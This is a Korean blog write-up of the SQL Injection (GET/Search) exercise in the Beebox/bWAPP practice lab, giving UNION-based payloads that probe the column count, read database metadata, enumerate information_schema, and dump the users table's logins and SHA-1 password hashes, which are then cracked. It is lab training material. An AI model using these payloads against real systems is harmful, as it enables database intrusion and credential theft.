Beebox[SQL Injection (GET/Search)]
❓ SQL Injection : 사용자가 SQL구문을 삽입했을 때 서버에서 입력값을 검증하지 않아 내부정보유출, 인증우회
1. LOW
(1) 입력
작은 따옴표를 입력했을 때
오류메세지가 출력된다면 SQL인젝션이 가능합니다
(2) 공격
SQL문을 True로 만들어서 뒤를 생략하고 전체 출력!
여기서 이 테이블이 주가 아니고
다른 테이블도 확인하기 위해
UNION을 사용해서 새로운 쿼리문을 작성할게요.
SELECT 뒤에 컬럼의 개수가 UNION앞의 SELECT문과 동일해야하기 때문에
아래와 같이 여러번 테스트를 거쳐야 되겠죠?
입력테스트
'UNION SELECT 1#
'UNION SELECT 1, 2#
'UNION SELECT 1, 2, 3#
'UNION SELECT 1, 2, 3, 4#
'UNION SELECT 1, 2, 3, 4, 5#
'UNION SELECT 1, 2, 3, 4, 5, 6#
'UNION SELECT 1, 2, 3, 4, 5, 6, 7#
참고로 UNION 뒤에 (ALL)을 붙이게되면
중복을 제거하지 않고 모두 출력해주게 됩니다.
SELECT * FROM A
UNION (ALL)
SELECT * FROM B
'UNION ALL SELECT 1, 2, 3, 4, 5, 6, 7#
그러면 2, 3, 4, 5번 컬럼이 출력이 되네요!!
시스템변수 및 함수 | 설명 |
database() | 현재 데이터베이스를 반환 |
user() | 현재 사용자를 반환 |
version() | 현재 데이터베이스서버의 버전을 반환 |
system_user() | 현재 데이터베이스의 최고권한 사용자를 반환 |
@@datadir | 현재 데이터베이스가 있는 경로를 반환 |
위 표에 맞춰서 출력해보도록 할게요
'UNION ALL SELECT 1, database(), @@datadir, system_user(), version(), 6, 7#
위 테이블에 맞춰서 공격을 해보니
DB이름 : bWAPP
경로 : /var/lib/mysql/
버전 : 5.0.96-0ubuntu3
최고사용자 : root@localhost
라는 것을 알 수 있네요!!
이제 테이블정보를 얻어볼게요!!
0'UNION ALL SELECT 1, table_name, 3, 4, 5, 6, 7 from information_schema.tables#
테이블 목록을 확인하기위해 이렇게 입력을 했어요!
사용자정보를 추출하기위해 users(아래서 3번째) 테이블을 공략해보죠!
users 테이블에 컬럼종류를 알아볼게요
0'UNION ALL SELECT 1, column_name, 3, 4, 5, 6, 7 from information_schema.columns#
이렇게 작성하면 다른 테이블에 있는 column 종류도 다 출력되니까
테이블이름이 users 테이블만 출력해 볼게요
0'UNION ALL
SELECT 1, column_name, 3, 4, 5, 6, 7 from information_schema.columns
where table_name=users#
참고로 UNION절이 있을 때
앞 SELECT와 뒤 SELECT 모두 ORDER BY를 쓰는 것은 안되나 보네요
이제 컬럼이름을 얻었으니 컬럼의 내용을 확인해보도록 할게요
0'UNION ALL
SELECT 1, id, login, email, password, 6, 7 from users#
단, 4개의 테이블만 출력이 되니 추가로 보고싶은 컬럼이 있다면
concat("첫번째 컬럼", "두번째 컬럼")을 사용하면
두 컬럼의 내용을 붙여서 하나의 컬럼처럼 출력할수도 있어요
A.I.M과 bee가 있네요!
패스워드(40바이트)는 sha-1로 되어있는것 같네요
레인보우테이블을 이용해서 복호화하는 사이트에서
패스워드가 bug라는 것을 확인했어요
2. Medium & High
(1) 소스코드 확인
Low와 동일하게 입력해보았지만 실행이 되지 않네요
addslashes함수는
특수문자 등에 "\"(역슬래시)를 붙여주는 함수입니다.
mysql_real_escape_string함수는
NULL, \n, \r, \, ', "에 "\"(역슬래시)를 붙여주는 함수입니다.
'Wargame > BeeBox' 카테고리의 다른 글
Beebox[Server-Side Includes (SSI) Injection] (0) | 2021.03.30 |
---|---|
Beebox[PHP Code Injection] (0) | 2021.03.30 |
Beebox[OS Command Injection - Blind] (0) | 2021.03.30 |
Beebox[OS Command Injection] (0) | 2021.03.29 |
Beebox[iFrame Injection] (0) | 2021.03.29 |
댓글